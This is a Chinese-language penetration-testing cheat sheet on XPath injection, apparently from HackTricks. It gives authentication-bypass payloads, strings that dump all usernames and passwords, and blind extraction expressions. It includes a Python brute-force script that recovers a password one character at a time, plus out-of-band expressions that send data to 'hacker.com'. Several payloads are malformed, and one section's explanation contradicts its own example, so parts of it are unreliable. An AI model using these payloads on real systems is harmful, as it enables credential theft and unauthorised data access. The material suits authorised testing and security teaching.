hacktricks/pentesting-web/xpath-injection.md

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# XPATH注入
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## 基本语法
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一种称为XPath注入的攻击技术用于利用根据用户输入形成XPathXML路径语言查询的应用程序来查询或导航XML文档。
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### 描述的节点
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表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的摘要
- **nodename**选择所有名称为“nodename”的节点。
- **/**:从根节点进行选择。
- **//**:选择与当前节点匹配的节点,无论其在文档中的位置如何。
- **.**:选择当前节点。
- **..**:选择当前节点的父节点。
- **@**:选择属性。
### XPath示例
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路径表达式及其结果的示例包括:
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- **bookstore**选择所有名称为“bookstore”的节点。
- **/bookstore**选择根元素bookstore。请注意表示元素的绝对路径以斜杠/)开头。
- **bookstore/book**选择bookstore的子元素book。
- **//book**选择文档中的所有book元素无论其位置如何。
- **bookstore//book**选择bookstore元素下的所有后代book元素无论其在bookstore元素下的位置如何。
- **//@lang**选择所有名为lang的属性。
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### 谓词的使用
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谓词用于细化选择:
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- **/bookstore/book[1]**选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为[0]的IE版本5到9的解决方法是通过JavaScript将SelectionLanguage设置为XPath。
- **/bookstore/book[last()]**选择bookstore元素的最后一个book元素子节点。
- **/bookstore/book[last()-1]**选择bookstore元素的倒数第二个book元素子节点。
- **/bookstore/book[position()<3]**选择bookstore元素的前两个book元素子节点
- **//title[@lang]**选择具有lang属性的所有title元素。
- **//title[@lang='en']**选择具有值为“en”的“lang”属性的所有title元素。
- **/bookstore/book[price>35.00]**选择价格大于35.00的所有book元素。
- **/bookstore/book[price>35.00]/title**选择价格大于35.00的book元素的bookstore中的所有title元素。
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### 未知节点的处理
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通配符用于匹配未知节点:
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- **\***:匹配任何元素节点。
- **@***:匹配任何属性节点。
- **node()**:匹配任何类型的任何节点。
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进一步的示例包括:
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- **/bookstore/\***选择bookstore元素的所有子元素节点。
- **//\***:选择文档中的所有元素。
- **//title[@\*]**选择至少具有一种属性的所有title元素。
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
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<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
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<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
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<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
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### 访问信息
XPath注入是一种利用应用程序中XPath查询的漏洞来访问敏感数据的技术。攻击者可以通过构造恶意的XPath查询来绕过身份验证检索数据甚至修改查询结果。要利用XPath注入攻击者需要了解应用程序如何构造XPath查询并找到可以注入恶意代码的漏洞点。
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```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### 识别和窃取模式
- 使用错误的XPath查询来识别数据库架构
- 通过逐步调整查询来窃取数据
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
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<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
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## 身份验证绕过
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### **查询示例:**
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```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **在用户和密码中绕过OR两者取相同值**
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```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **滥用空值注入**
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```
Username: ' or 1]%00
```
### **用户名或密码中的双OR**(仅在一个易受攻击的字段中有效)
重要提示:请注意**“and”是首先执行的操作**。
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```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
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## 字符串提取
输出包含字符串,用户可以操纵这些值进行搜索:
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```
/user/username[contains(., '+VALUE+')]
```
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```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## 盲目利用
### **获取值的长度并通过比较提取它:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
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### **Python 示例**
```python
import requests
url = "http://example.com/login"
payload = "' or '1'='1'--"
response = requests.get(url, params={"username": payload, "password": "password"})
print(response.text)
```
```python
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import requests, string
flag = ""
l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### 读取文件
1. **Payload**:
```plaintext
' or '1'='1
```
2. **Explanation**:
This payload will make the XPath query always return true, allowing the attacker to read the contents of the file.
3. **Example**:
- **URL**: `http://example.com/products?category=' or '1'='1`
- **XPath Query**: `//products[category='' or '1'='1']`
4. **Impact**:
The attacker can read sensitive information from files that are not intended to be publicly accessible.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB利用
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
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### 自动化工具
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
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## 参考资料
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
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